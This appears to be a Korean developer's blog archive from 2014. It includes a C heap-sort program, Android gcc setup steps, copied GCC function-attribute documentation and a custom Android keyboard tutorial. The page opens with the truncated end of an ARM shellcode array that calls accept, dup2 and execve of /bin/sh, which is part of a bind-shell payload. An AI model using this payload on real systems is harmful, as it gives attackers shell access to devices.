                  "\x08\x70\x8d\xe5"   /*  str r7, [sp, #8]          */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (accept) */

                  "\x10\x57\xa0\xe1"   /*  mov   r5, r0, lsl r7        */

                  "\x02\x10\xa0\xe3"   /*  mov   r1, #2                */

                  "\x71\x70\xc6\xe5"   /*  strb  r7, [r6, #113]        */

                  "\x15\x07\xa0\xe1"   /*  mov   r0, r5, lsl r7 <dup2> */

                  "\x3f\xff\x90\xef"   /*  swi   0x90ff3f       (dup2) */

                  "\x01\x10\x51\xe2"   /*  subs  r1, r1, #1            */

                  "\xfb\xff\xff\x5a"   /*  bpl   <dup2>                */

                  "\x99\x70\xc6\xe5"   /*  strb  r7, [r6, #153]        */

                  "\x14\x30\x8f\xe2"   /*  add   r3, pc, #20           */

                  "\x04\x30\x8d\xe5"   /*  str r3, [sp, #4]          */

                  "\x04\x10\x8d\xe2"   /*  add   r1, sp, #4            */

                  "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x13\x02\xa0\xe1"   /*  mov   r0, r3, lsl r2        */

                  "\x08\x20\x8d\xe5"   /*  str   r2, [sp, #8]          */

                  "\x0b\xff\x90\xef"   /*  swi 0x900ff0b    (execve) */

                  "/bin/sh";


Posted by k1rha
2014. 9. 16. 15:34


힙소팅 정리한 소스 heap sorting sorce 



#include <stdio.h>

#include <stdlib.h>

#include <time.h>

#define SIZE 10                    // 배열 사이즈 정의


void create_random_data( int heap_array[], int size );

void display( int array[],int size );

void reverse_display( int array[], int size );


void create_heap_tree( int heap_array[] , int size );

void swap( int heap_array[], int index );

void heap_sorting( int heap_array[], int sort_array[] , int size );

int swap_sort( int heap_array[] , int size );

int min( int a , int b );


void main() {

clock_t start,finish;                       

int heap_array[SIZE];

int sort_array[SIZE];


/*random create */

printf("<< Random Data >>\n");

create_random_data(heap_array,SIZE);  //랜덤 데이타 생성

display(heap_array,SIZE);     


create_heap_tree(heap_array,SIZE);   //힙 트리 생성

printf("\n<< Create_heap_tree Data >>\n");

display(heap_array,SIZE);


heap_sorting(heap_array,sort_array,SIZE);   //힙 소팅 함수 호출

printf("\n<< Sorted Data >>\n");

display(sort_array,SIZE);


printf("\n<< Reverse Sorted Data >>\n");

reverse_display(sort_array,SIZE);


printf("\n");


}


void create_random_data(int heap_array[], int size) {

int i;

for(i=0 ; i<size ; i++)

heap_array[i] = rand()%size*3;

}


////////////////////////////////////////////////////////////////

//함수명 : display

//용도      : 배열을 출력한다.

//매개변수  : 배열 포인터,배열 사이즈

//리턴값    : 출력시간(정수)

void display(int array[], int size) {

int i;

for(i=0 ; i<size ; i++)

printf("%d ",array[i]);

printf("\n");

}


void reverse_display(int array[], int size) {

int i;

for(i=size-1 ; i>=0 ; i--)

printf("%d ",array[i]);

}


void create_heap_tree(int heap_array[], int size) {

int i;

for(i=1 ; i<size ; i++)

swap(heap_array,i);

}


/*create Heap 에 사용 되며, 상위 노드가 하위 노드보다는 반드시 작도록 배치한다.*/

void swap(int heap_array[], int index) {

int temp;

int swap_flag = 1;


while(swap_flag && index != 0) {    //루트 이거나 swap이 일어나지 않으면 종료

swap_flag = 0;     //swap을 감시하는 플래그


//index%2 == 1 이면 좌측 자식이다 (현재가 자식이다.. 루트이면 그냥 넘어감)

if(index%2 == 1 && heap_array[index] < heap_array[(index-1)/2]) {

heap_array[index] = heap_array[index] ^ heap_array[(index-1)/2];

heap_array[(index-1)/2] = heap_array[index] ^ heap_array[(index-1)/2];

heap_array[index] = heap_array[index] ^ heap_array[(index-1)/2];


index = (index-1)/2;

swap_flag = 1;

}

//index%2 == 0 이면 우측 자식이다(현재가 자식이다.. 루트이면 그냥 넘어감)

if(index%2 == 0 && heap_array[index] < heap_array[(index-2)/2]) {

heap_array[index] = heap_array[index] ^ heap_array[(index-2)/2];

heap_array[(index-2)/2] = heap_array[index] ^ heap_array[(index-2)/2];

heap_array[index] = heap_array[index] ^ heap_array[(index-2)/2];


index = (index-2)/2;

swap_flag = 1;

}

}

}




/* 힙트리의 배열에서 루트값을 빼내면서 소팅한다 */

void heap_sorting( int heap_array[], int sort_array[], int size ) {

int i = 0;

int heap_array_size;

heap_array_size = size;


for( i=0 ; i<size ; i++ ) {

sort_array[i] = swap_sort( heap_array, heap_array_size );

heap_array_size--; 

}


}

/* 최상위 root가 제일 작도록 소팅함. root 값에 최 하위 값 (상대적으로 큰값)

을 넣고 자식 노드와 비교해가며 정렬함 */

int swap_sort(int heap_array[], int size) {

int sort_value;

int swap_flag = 0;

int i = 0;

/* swap이 발생하지 않거나 인덱스가 size를 초과 하면 종료한다 */

while( swap_flag == 0 && !( ((i*2)+1 >= size-1) && ( (i*2)+2 >=size-1) ) ) {


swap_flag = 1;

///////////////////////////////////////////////////////////////////

// 좌 우 자식중 더 작은값(min함수 호출)과 비교한다

// 작은 값이 없다면.. 리턴! why? 힙소팅 create 부분에서 이미 상위

// 노트가 하위 노드보다는 반드시 작도록 설정 되었기 때문! 

// 좌 우 중 작은쪽이 있다면 작은 쪽의주로 정렬을 해 드러간다.

if( heap_array[i] > min( heap_array[(i*2)+1] , heap_array[(i*2)+2] )) 

{

if(heap_array[(i*2)+1] < heap_array[(i*2)+2]) {

heap_array[i] = heap_array[i] ^ heap_array[(i*2)+1];

heap_array[(i*2)+1] = heap_array[i] ^ heap_array[(i*2)+1];

heap_array[i] = heap_array[i] ^ heap_array[(i*2)+1];

i = (i*2)+1;

}

else {

heap_array[i] = heap_array[i] ^ heap_array[(i*2)+2];

heap_array[(i*2)+2] = heap_array[i] ^ heap_array[(i*2)+2];

heap_array[i] = heap_array[i] ^ heap_array[(i*2)+2];

i = (i*2)+2;

}

swap_flag = 0;

}// end if


}// end while



/* 젤 작은 root 값을 넘겨주고, root는 현트리의 제일 마지막 노드로 교체됨 */

sort_value = heap_array[0];

heap_array[0] = heap_array[size-1]; 

return sort_value;

}


int min(int a, int b) {

if(a < b) return a;

else return b;

}




Posted by k1rha
2014. 9. 11. 08:56

Android gdb, gcc  파일 



http://codetronik.tistory.com/26  // 다운로드 출처 

// gcc 용량은 너무 커서 7zip 으로 풀어줘야함. 


설치 방법 :

adb shell mkdir /data/local/gcc
adb push android_gcc_r2a.tar.bz2 /data/local/gcc
adb push android_gcc_supplement.tar.bz2 /data/local/gcc
adb push android_R_r1a2.tar.bz2 /data/local/gcc
adb shell
cd /data/local/gcc
tar xjf android_gcc_r2a.tar.bz2
tar xjf android_gcc_supplement.tar.bz2
tar xjf android_R_r1a2.tar.bz2

환경 변수 등록 : bashrc

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/data/local/gcc/lib
export PATH=$PATH:/data/local/gcc/bin


Posted by k1rha
2014. 7. 2. 11:40

Declaring Attributes of Functions

In GNU C, you declare certain things about functions called in your program which help the compiler optimize function calls and check your code more carefully.

The keyword __attribute__ allows you to specify special attributes when making a declaration. This keyword is followed by an attribute specification inside double parentheses. The following attributes are currently defined for functions on all targets: noreturn,noinlinealways_inlinepureconstformatformat_argno_instrument_functionsectionconstructordestructorusedunuseddeprecatedweakmalloc, and alias. Several other attributes are defined for functions on particular target systems. Other attributes, includingsection are supported for variables declarations (see Variable Attributes) and for types (see Type Attributes).

You may also specify attributes with __ preceding and following each keyword. This allows you to use them in header files without being concerned about a possible macro of the same name. For example, you may use __noreturn__ instead of noreturn.

See Attribute Syntax, for details of the exact syntax for using attributes.

noreturn
A few standard library functions, such as abort and exit, cannot return. GCC knows this automatically. Some programs define their own functions that never return. You can declare them noreturn to tell the compiler this fact. For example,
          void fatal () __attribute__ ((noreturn));
          
          void
          fatal (...)
          {
            ... /* Print error message. */ ...
            exit (1);
          }
          

The noreturn keyword tells the compiler to assume that fatal cannot return. It can then optimize without regard to what would happen if fatal ever did return. This makes slightly better code. More importantly, it helps avoid spurious warnings of uninitialized variables.

Do not assume that registers saved by the calling function are restored before calling the noreturn function.

It does not make sense for a noreturn function to have a return type other than void.

The attribute noreturn is not implemented in GCC versions earlier than 2.5. An alternative way to declare that a function does not return, which works in the current version and in some older versions, is as follows:

          typedef void voidfn ();
          
          volatile voidfn fatal;
          

noinline
This function attribute prevents a function from being considered for inlining. 
always_inline
Generally, functions are not inlined unless optimization is specified. For functions declared inline, this attribute inlines the function even if no optimization level was specified. 
pure
Many functions have no effects except the return value and their return value depends only on the parameters and/or global variables. Such a function can be subject to common subexpression elimination and loop optimization just as an arithmetic operator would be. These functions should be declared with the attribute pure. For example,
          int square (int) __attribute__ ((pure));
          

says that the hypothetical function square is safe to call fewer times than the program says.

Some of common examples of pure functions are strlen or memcmp. Interesting non-pure functions are functions with infinite loops or those depending on volatile memory or other system resource, that may change between two consecutive calls (such as feof in a multithreading environment).

The attribute pure is not implemented in GCC versions earlier than 2.96. 

const
Many functions do not examine any values except their arguments, and have no effects except the return value. Basically this is just slightly more strict class than the pure attribute above, since function is not allowed to read global memory.

Note that a function that has pointer arguments and examines the data pointed to must not be declared const. Likewise, a function that calls a non-const function usually must not be const. It does not make sense for a const function to return void.

The attribute const is not implemented in GCC versions earlier than 2.5. An alternative way to declare that a function has no side effects, which works in the current version and in some older versions, is as follows:

          typedef int intfn ();
          
          extern const intfn square;
          

This approach does not work in GNU C++ from 2.6.0 on, since the language specifies that the const must be attached to the return value. 

format (archetypestring-indexfirst-to-check)
The format attribute specifies that a function takes printfscanfstrftime or strfmon style arguments which should be type-checked against a format string. For example, the declaration:
          extern int
          my_printf (void *my_object, const char *my_format, ...)
                __attribute__ ((format (printf, 2, 3)));
          

causes the compiler to check the arguments in calls to my_printf for consistency with the printf style format string argument my_format.

The parameter archetype determines how the format string is interpreted, and should be printfscanfstrftime or strfmon. (You can also use __printf____scanf____strftime__ or __strfmon__.) The parameter string-index specifies which argument is the format string argument (starting from 1), while first-to-check is the number of the first argument to check against the format string. For functions where the arguments are not available to be checked (such as vprintf), specify the third parameter as zero. In this case the compiler only checks the format string for consistency. For strftime formats, the third parameter is required to be zero.

In the example above, the format string (my_format) is the second argument of the function my_print, and the arguments to check start with the third argument, so the correct parameters for the format attribute are 2 and 3.

The format attribute allows you to identify your own functions which take format strings as arguments, so that GCC can check the calls to these functions for errors. The compiler always (unless -ffreestanding is used) checks formats for the standard library functions printffprintfsprintfscanffscanfsscanfstrftimevprintfvfprintf and vsprintf whenever such warnings are requested (using -Wformat), so there is no need to modify the header file stdio.h. In C99 mode, the functions snprintf,vsnprintfvscanfvfscanf and vsscanf are also checked. Except in strictly conforming C standard modes, the X/Open function strfmon is also checked as are printf_unlocked and fprintf_unlocked. See Options Controlling C Dialect

format_arg (string-index)
The format_arg attribute specifies that a function takes a format string for a printfscanfstrftime or strfmon style function and modifies it (for example, to translate it into another language), so the result can be passed to a printfscanfstrftime or strfmonstyle function (with the remaining arguments to the format function the same as they would have been for the unmodified string). For example, the declaration:
          extern char *
          my_dgettext (char *my_domain, const char *my_format)
                __attribute__ ((format_arg (2)));
          

causes the compiler to check the arguments in calls to a printfscanfstrftime or strfmon type function, whose format string argument is a call to the my_dgettext function, for consistency with the format string argument my_format. If the format_arg attribute had not been specified, all the compiler could tell in such calls to format functions would be that the format string argument is not constant; this would generate a warning when -Wformat-nonliteral is used, but the calls could not be checked without the attribute.

The parameter string-index specifies which argument is the format string argument (starting from 1).

The format-arg attribute allows you to identify your own functions which modify format strings, so that GCC can check the calls to printfscanfstrftime or strfmon type function whose operands are a call to one of your own function. The compiler always treats gettextdgettext, and dcgettext in this manner except when strict ISO C support is requested by -ansi or an appropriate -std option, or -ffreestanding is used. See Options Controlling C Dialect

no_instrument_function
If -finstrument-functions is given, profiling function calls will be generated at entry and exit of most user-compiled functions. Functions with this attribute will not be so instrumented. 
section ("section-name")
Normally, the compiler places the code it generates in the text section. Sometimes, however, you need additional sections, or you need certain particular functions to appear in special sections. The section attribute specifies that a function lives in a particular section. For example, the declaration:
          extern void foobar (void) __attribute__ ((section ("bar")));
          

puts the function foobar in the bar section.

Some file formats do not support arbitrary sections so the section attribute is not available on all platforms. If you need to map the entire contents of a module to a particular section, consider using the facilities of the linker instead. 

constructor
destructor
The constructor attribute causes the function to be called automatically before execution enters main (). Similarly, the destructor attribute causes the function to be called automatically after main () has completed or exit () has been called. Functions with these attributes are useful for initializing data that will be used implicitly during the execution of the program.

These attributes are not currently implemented for Objective-C. 

unused
This attribute, attached to a function, means that the function is meant to be possibly unused. GCC will not produce a warning for this function. GNU C++ does not currently support this attribute as definitions without parameters are valid in C++. 
used
This attribute, attached to a function, means that code must be emitted for the function even if it appears that the function is not referenced. This is useful, for example, when the function is referenced only in inline assembly. 
deprecated
The deprecated attribute results in a warning if the function is used anywhere in the source file. This is useful when identifying functions that are expected to be removed in a future version of a program. The warning also includes the location of the declaration of the deprecated function, to enable users to easily find further information about why the function is deprecated, or what they should do instead. Note that the warnings only occurs for uses:
          int old_fn () __attribute__ ((deprecated));
          int old_fn ();
          int (*fn_ptr)() = old_fn;
          

results in a warning on line 3 but not line 2.

The deprecated attribute can also be used for variables and types (see Variable Attributes, see Type Attributes.) 

weak
The weak attribute causes the declaration to be emitted as a weak symbol rather than a global. This is primarily useful in defining library functions which can be overridden in user code, though it can also be used with non-function declarations. Weak symbols are supported for ELF targets, and also for a.out targets when using the GNU assembler and linker. 
malloc
The malloc attribute is used to tell the compiler that a function may be treated as if it were the malloc function. The compiler assumes that calls to malloc result in a pointers that cannot alias anything. This will often improve optimization. 
alias ("target")
The alias attribute causes the declaration to be emitted as an alias for another symbol, which must be specified. For instance,
          void __f () { /* do something */; }
          void f () __attribute__ ((weak, alias ("__f")));
          

declares f to be a weak alias for __f. In C++, the mangled name for the target must be used.

Not all target machines support this attribute. 

regparm (number)
On the Intel 386, the regparm attribute causes the compiler to pass up to number integer arguments in registers EAX, EDX, and ECX instead of on the stack. Functions that take a variable number of arguments will continue to be passed all of their arguments on the stack. 
stdcall
On the Intel 386, the stdcall attribute causes the compiler to assume that the called function will pop off the stack space used to pass arguments, unless it takes a variable number of arguments.

The PowerPC compiler for Windows NT currently ignores the stdcall attribute. 

cdecl
On the Intel 386, the cdecl attribute causes the compiler to assume that the calling function will pop off the stack space used to pass arguments. This is useful to override the effects of the -mrtd switch.

The PowerPC compiler for Windows NT currently ignores the cdecl attribute. 

longcall
On the RS/6000 and PowerPC, the longcall attribute causes the compiler to always call the function via a pointer, so that functions which reside further than 64 megabytes (67,108,864 bytes) from the current location can be called. 
long_call/short_call
This attribute allows to specify how to call a particular function on ARM. Both attributes override the -mlong-calls (see ARM Options) command line switch and #pragma long_calls settings. The long_call attribute causes the compiler to always call the function by first loading its address into a register and then using the contents of that register. The short_call attribute always places the offset to the function from the call site into the BL instruction directly. 
dllimport
On the PowerPC running Windows NT, the dllimport attribute causes the compiler to call the function via a global pointer to the function pointer that is set up by the Windows NT dll library. The pointer name is formed by combining __imp_ and the function name. 
dllexport
On the PowerPC running Windows NT, the dllexport attribute causes the compiler to provide a global pointer to the function pointer, so that it can be called with the dllimport attribute. The pointer name is formed by combining __imp_ and the function name. 
exception (except-func [, except-arg])
On the PowerPC running Windows NT, the exception attribute causes the compiler to modify the structured exception table entry it emits for the declared function. The string or identifier except-func is placed in the third entry of the structured exception table. It represents a function, which is called by the exception handling mechanism if an exception occurs. If it was specified, the string or identifier except-arg is placed in the fourth entry of the structured exception table. 
function_vector
Use this attribute on the H8/300 and H8/300H to indicate that the specified function should be called through the function vector. Calling a function through the function vector will reduce code size, however; the function vector has a limited size (maximum 128 entries on the H8/300 and 64 entries on the H8/300H) and shares space with the interrupt vector.

You must use GAS and GLD from GNU binutils version 2.7 or later for this attribute to work correctly. 

interrupt
Use this attribute on the ARM, AVR, M32R/D and Xstormy16 ports to indicate that the specified function is an interrupt handler. The compiler will generate function entry and exit sequences suitable for use in an interrupt handler when this attribute is present.

Note, interrupt handlers for the H8/300, H8/300H and SH processors can be specified via the interrupt_handler attribute.

Note, on the AVR interrupts will be enabled inside the function.

Note, for the ARM you can specify the kind of interrupt to be handled by adding an optional parameter to the interrupt attribute like this:

          void f () __attribute__ ((interrupt ("IRQ")));
          

Permissible values for this parameter are: IRQ, FIQ, SWI, ABORT and UNDEF. 

interrupt_handler
Use this attribute on the H8/300, H8/300H and SH to indicate that the specified function is an interrupt handler. The compiler will generate function entry and exit sequences suitable for use in an interrupt handler when this attribute is present. 
sp_switch
Use this attribute on the SH to indicate an interrupt_handler function should switch to an alternate stack. It expects a string argument that names a global variable holding the address of the alternate stack.
          void *alt_stack;
          void f () __attribute__ ((interrupt_handler,
                                    sp_switch ("alt_stack")));
          

trap_exit
Use this attribute on the SH for an interrupt_handle to return using trapa instead of rte. This attribute expects an integer argument specifying the trap number to be used. 
eightbit_data
Use this attribute on the H8/300 and H8/300H to indicate that the specified variable should be placed into the eight bit data section. The compiler will generate more efficient code for certain operations on data in the eight bit data area. Note the eight bit data area is limited to 256 bytes of data.

You must use GAS and GLD from GNU binutils version 2.7 or later for this attribute to work correctly. 

tiny_data
Use this attribute on the H8/300H to indicate that the specified variable should be placed into the tiny data section. The compiler will generate more efficient code for loads and stores on data in the tiny data section. Note the tiny data area is limited to slightly under 32kbytes of data. 
signal
Use this attribute on the AVR to indicate that the specified function is an signal handler. The compiler will generate function entry and exit sequences suitable for use in an signal handler when this attribute is present. Interrupts will be disabled inside function. 
naked
Use this attribute on the ARM or AVR ports to indicate that the specified function do not need prologue/epilogue sequences generated by the compiler. It is up to the programmer to provide these sequences. 
model (model-name)
Use this attribute on the M32R/D to set the addressability of an object, and the code generated for a function. The identifier model-name is one of smallmedium, or large, representing each of the code models.

Small model objects live in the lower 16MB of memory (so that their addresses can be loaded with the ld24 instruction), and are callable with the bl instruction.

Medium model objects may live anywhere in the 32-bit address space (the compiler will generate seth/add3 instructions to load their addresses), and are callable with the bl instruction.

Large model objects may live anywhere in the 32-bit address space (the compiler will generate seth/add3 instructions to load their addresses), and may not be reachable with the bl instruction (the compiler will generate the much slower seth/add3/jlinstruction sequence).

You can specify multiple attributes in a declaration by separating them by commas within the double parentheses or by immediately following an attribute declaration with another attribute declaration.

Some people object to the __attribute__ feature, suggesting that ISO C's #pragma should be used instead. At the time __attribute__ was designed, there were two reasons for not doing this.

  1. It is impossible to generate #pragma commands from a macro.
  2. There is no telling what the same #pragma might mean in another compiler.

These two reasons applied to almost any application that might have been proposed for #pragma. It was basically a mistake to use #pragma for anything.

The ISO C99 standard includes _Pragma, which now allows pragmas to be generated from macros. In addition, a #pragma GCC namespace is now in use for GCC-specific pragmas. However, it has been found convenient to use __attribute__ to achieve a natural attachment of attributes to their corresponding declarations, whereas #pragma GCC is of use for constructs that do not naturally form part of the grammar. See Miscellaneous Preprocessing Directives.

Posted by k1rha
2014. 6. 29. 22:46

요즘 하고픈게 너무 많아 책읽은 시간이 부족하지만..

저장용 및 공유용 

키워드 : e book 이북. 인터넷 서적. 


IT 관련 E-book 모아 놓은 사이트 저장~

huge collection ebook:
+ Android
+ CSS
+ Hack
+ Python
and more.....

You can download it here: 



http://ebooks.shahed.biz/


Posted by k1rha
2014. 6. 25. 12:37

링크 : http://blog.acronym.co.kr/329?fb_action_ids=291874987652641&fb_action_types=og.comments


Posted by k1rha
2014. 6. 18. 23:53

생각의 정리 1. 

soft keyboard 만드는것도 일종의 앱이다. 공유메모리를 활용하면 다른 앱과의 통신도 가능할듯.. 

생각의 정리 2. 

공유메모리를 이용하면... 브라우저에 플러그인개발이 이때 들어가는군.. 그냥가져올순없나..


출처: http://www.fampennings.nl/maarten/android/09keyboard/index.htm


Maarten Pennings'
Android development: Custom keyboard
fampennings / maarten / android / 09keyboard

Custom keyboard

Download the source of this article.

1. Introduction

When using an application, we have to fill out alpha numeric fields. Since most phone or tablets don't have a full keyboard, Android offers us so called soft keyboards. In the figure below (left), we see the full keyboard on tablet. It should be noted that Android's soft keyboards are context sensitive: when the field is a phone number a different keyboard pops up (see the right figure below).

   
Entering a contact's name (left) and his phonenumber (right) with the standard Android Keyboard.

This question addressed in this article is: how can a developer offer a custom keyboard. More specifically we have a field that requires a hexadecimal number to be entered, so we are looking for a keyboard with the keys 0 to 9 and a to f.

2. Analysis

What kind of keyboards exist, next to the standard Android keyboards?

2.1. Manufacturer keyboard

One of the first things we notice on an Asus tablet is that we have the choice of using the standard Android keyboard, or using an Asus keyboard. The figure below shows the full text (left) and phone number only (right) keybaords of Asus.

   
Entering a contact's name (left) and his phonenumber (right) using the Asus keyboard.

We see big differences. The Asus phone keyboard has fewer keys (it doesn't have the obscure -/+/,/. keys), whereas the Asus full keyboard has more keys (it does have keys for all digits).

2.2. User installed keyboard

We saw above that manufacturers have the ability to add keyboards, where they are completely free in chosing a layout. Can we do that as an end-user?

Yes!

For example, we can install the Hacker's keyboard. Please note that installing a keyboard is not without risk: all keys pass this application, and this includes your passwords!

   
Entering a contact's name (left) and his phonenumber (right) using the Hacker's keyboard.

We see again big differences. Most notably, we see cursor keys and extra 'shift' keys (control and alt). And they work (including ctrl-v to paste)!

2.3. Input type

Besides the fact that a user can select which keyboard "service" (yes, each of these keyboards - Android, Asus, Hackers - runs a task) is active, we notice there is another mechanism to select which keyboard "layout" (full, phone) is chosen. Who choses that?

It's the application programmer that makes that choice. For example, an EditText has a field inputType that decides which layout to use. For example android:inputType="text" selects the full keyboard andandroid:inputType="phone" select the phone number one. See the developer site for the other types.

An no, there is no input type for hexadecimal numbers.

2.4. Dialog

Besides the keyboard services with multiple layouts, we see another approach. For examle, when we have to enter a date, we do not get a date specific keyboard, rather we get a date specific dialog. See the fgure below.


A dialog geared towards a specifc type of field (date in this case).

2.5. Conclusion

We could write our own keyboard service. But that looks like a hell of a lot of work (multiple layouts, accents, spell check support, locale specific fonts). Furthermore, it means that our customers (the end users of our app) not only have to install our app, but also the keyboard service (second apk?). They are not likely to do that, because wise users see the security issues with that. Finally, it probably will not help anyway. The reason is that there is no inputType for hexadecimal, so our app can not even request a hex layout to the keyboard service. So, writing a keyboard service is definitly a no go.

So, it looks like we are stuck with writing a dialog (just like the date picker) that has buttons for 0..9, a..f, ...

But wait, there is this badly known KeyboardView. What's that?

3. KeyboardView

Let's have a look at the KeyboardView class.

3.1. High level overview of the KeyboardView

Since API level 3, Android has a KeyboardView. As the name suggests, this is a View, so it is part of the layout of an activity. This is good news an bad news. It is bad news, because it means we have to obscure all layout files of our applications with a view for a keyboard. It is good news, because it means we are in full control in our app.

But wait, what will the KeyboardView show? The answer to this is that we have to associate a Keyboard with the KeyboardView. A keyboard consists of Rows, and rows consist of Keys, and keys are associated with alabel (what is shown on the key button) and a code (what is sent to the app when the key is pressed).

So, that's four classes to study:

But it is not that bad: a Keyboard can be setup with a single (ok, rather large) xml file. It lists all rows, their keys, and per key the label and the code. So, what we see in practice is a KeyboardView in our activity (activities), one or more xml files with a keyboard layout (in our case one file describing a hexadecimal keyboard layout), and a single line of code to assign the Keyboard to the KeyboardView. And then there are some issues in when to show the keyboard.

Let's look at the details.

3.2. Creating a KeyboardView

The KeyboardView is a View like any other, so we include it in the layout file of our activity. Nevertheless, there are a couple of noteworthy remarks; they are marked red in the code fragment below.

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent" >

    <EditText
        android:id="@+id/edittext0"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:drawableRight="@drawable/hex"
        android:inputType="text" />

    <EditText
        android:id="@+id/edittext1"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:layout_below="@id/edittext0"
        android:layout_centerHorizontal="true"
        android:drawableRight="@drawable/txt"
        android:inputType="text" />

    ...

    <android.inputmethodservice.KeyboardView
        android:id="@+id/keyboardview"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:layout_alignParentBottom="true"
        android:layout_centerHorizontal="true"
        android:focusable="true"
        android:focusableInTouchMode="true"
        android:visibility="gone" />

</RelativeLayout>

First of all, the KeyboardView will be used to show a keyboard. Typically, keyboards are at the bottom of the screen (android:layout_alignParentBottom="true"), filling the complete width (android:layout_width="fill_parent"); this is easily achieved in RelativeLayout (maybe throw in a vertical scroll bar). Secondly, the keyboard is hidden by default (android:visibility="gone"); we use thegone value instead of invisible to completely hide it. Thirdly, the KeyboardView, for reasons unknown to me, is not part of a package that is automagically found. So, we need to add the full path (android.inputmethodservice.KeyboardView).

Unfortunately, the graphical layout editor in Eclipse cannot find that package either. So it gives an exception (java.lang.NoClassDefFoundError: Could not initialize class android.inputmethodservice.KeyboardView) and the keyboard is not shown. I have no idea how to fix that (I would expect that I could add a search path to the graphical layout editor in Eclipse). The feedback I got from Jan, is that Android Studio gives the same complaint.

3.3. Creating a Keyboard

The prevous section showed how to create a KeyboardView. This is a view, so this was most easily done in xml: the actvity has a layout file activity_main, which contains a view of type KeyboardView with idkeyboardview.

The second step is to create a Keyboard. A Keyboard is a data structure describing rows of keys, each with their label and key code. A large part is also done in xml (file hexkbd), and a small part is done programatically; see the code fragment below.

@Override protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    ...
    // Create the Keyboard
    Keyboard mKeyboard= new Keyboard(MainActivity,R.xml.hexkbd);

    // Lookup the KeyboardView
    KeyboardView mKeyboardView= (KeyboardView)findViewById(R.id.keyboardview);
    // Attach the keyboard to the view
    mKeyboardView.setKeyboard( mKeyboard );
    // Do not show the preview balloons
    mKeyboardView.setPreviewEnabled(false);
    ...
}

The image below shows where the two xml files (activity layout and keyboard layout) are located.


The location of the xml files.

3.4. The Keyboard xml layout file

The xml file hexkbd describes the complete keyboard. Recall that we want to make a hexadecimal keyboard, so we have relatively few keys. In order to illustrate some points, we have added a number of keys: backspace/clear all, cursor left/right, cursor begin/end, prev/next field and keyboard hide button.


The design of our hexadecimal keyboard.

Observe that we have a 'keyboard hide' button (centre of the lowest row). Many KeyboardView keyboards have this because the normal 'hide keyboard' feature in the system bar doesn't work anymore. We can see this in the figure: the bar at the bottom still shows the 'Back' soft key instead of the 'Hide keyboard' softkey.

3.4.1. Key sizes

One of the great features (I miss that in activity layouts...) is the fact that (key) sizes can be expressed in percentages relative to the parent container (by using %p as unit). This also means that we have no (ok little) worries on landscape versus portrait.

When we define a keyboard, we have three levels where we can set properties: at keyboard level, at row level, and at key level. Since most keys on a keyboard have the same size, it makes sense to set the keysize at the keyboard level, and have some overrides at key level. As we can see in the figure above, each row in our hexkbd has 3 keys, a gap of half a key, 2 keys, again a gap of half a key, and finally 2 keys. This sums up to 8 keys, so the key width is 1/8 of 100% or 12.50%. We set the key height to 10%, which means that the full keyboard (4 rows) takes 40% of the complete screen. We have two width overrides: the '0' key has double width (25%) and the 'keyboard hide' key has double width (25%). These size settings are shown in blue in the code fragment below.

<?xml version="1.0" encoding="utf-8"?>
<Keyboard xmlns:android="http://schemas.android.com/apk/res/android"
    android:keyWidth="12.50%p"
    android:keyHeight="10%p" >

    <Row>
        <Key android:codes="55"    android:keyLabel="7" android:keyEdgeFlags="left" />
        <Key android:codes="56"    android:keyLabel="8" />
        <Key android:codes="57"    android:keyLabel="9" />
        <Key android:codes="65"    android:keyLabel="A" android:horizontalGap="6.25%p" />
        <Key android:codes="66"    android:keyLabel="B" />
        <Key android:codes="-5"    android:keyIcon="@drawable/sym_keyboard_delete" android:isRepeatable="true" android:horizontalGap="6.25%p" />
        <Key android:codes="55006" android:keyLabel="CLR" android:keyEdgeFlags="right"/>
    </Row>
    <Row>
        <Key android:codes="52"    android:keyLabel="4" android:keyEdgeFlags="left"  />
        <Key android:codes="53"    android:keyLabel="5" />
        <Key android:codes="54"    android:keyLabel="6" />
        <Key android:codes="67"    android:keyLabel="C" android:horizontalGap="6.25%p" />
        <Key android:codes="68"    android:keyLabel="D" />
        <Key android:codes="55002" android:keyIcon="@drawable/sym_keyboard_left" android:isRepeatable="true" android:horizontalGap="6.25%p" />
        <Key android:codes="55003" android:keyIcon="@drawable/sym_keyboard_right" android:isRepeatable="true" android:keyEdgeFlags="right" />
    </Row>
    <Row>
        <Key android:codes="49"    android:keyLabel="1"  android:keyEdgeFlags="left" />
        <Key android:codes="50"    android:keyLabel="2" />
        <Key android:codes="51"    android:keyLabel="3" />
        <Key android:codes="69"    android:keyLabel="E" android:horizontalGap="6.25%p" />
        <Key android:codes="70"    android:keyLabel="F" />
        <Key android:codes="55001" android:keyIcon="@drawable/sym_keyboard_allleft" android:horizontalGap="6.25%p" />
        <Key android:codes="55004" android:keyIcon="@drawable/sym_keyboard_allright" android:keyEdgeFlags="right" />
    </Row>
    <Row>
        <Key android:codes="48"    android:keyLabel="0" android:keyWidth="25%p" android:horizontalGap="6.25%p" android:keyEdgeFlags="left" />
        <Key android:codes="-3"    android:keyIcon="@drawable/sym_keyboard_done" android:keyWidth="25%p" android:horizontalGap="12.50%p" />
        <Key android:codes="55000" android:keyLabel="PREV" android:horizontalGap="6.25%p" />
        <Key android:codes="55005" android:keyLabel="NEXT" android:keyEdgeFlags="right" />
    </Row>
</Keyboard>

We can also make tall keys. For example, we could add android:keyHeight="20%p" to the 'F' key, so that it becomes twice as tall. It would then overlap with the 'keyboard hide' key. To prevent that we would typically make the 'keyboard hide' key half the width (12.5%) and add a larger gap (18.75%) before 'PREV' (see below).

To make everything work across different screen sizes, you may want to put things like the keyboard's keyHeight value in device-dependent resource directories. If you use percentages for that (using "%p"), you need to create "fraction" resources (referenced by @fraction/). Thanks for the tip Jan!

3.4.2. Key gaps

Another feature is that we can offset (indent) a row of keys (as we did with the last row), or even (as we also did) add gaps to create islands of keys. Use the attribute android:horizontalGap for that, and my advise is to use percentages here too. The gap settings are shown in red in the code fragment above.

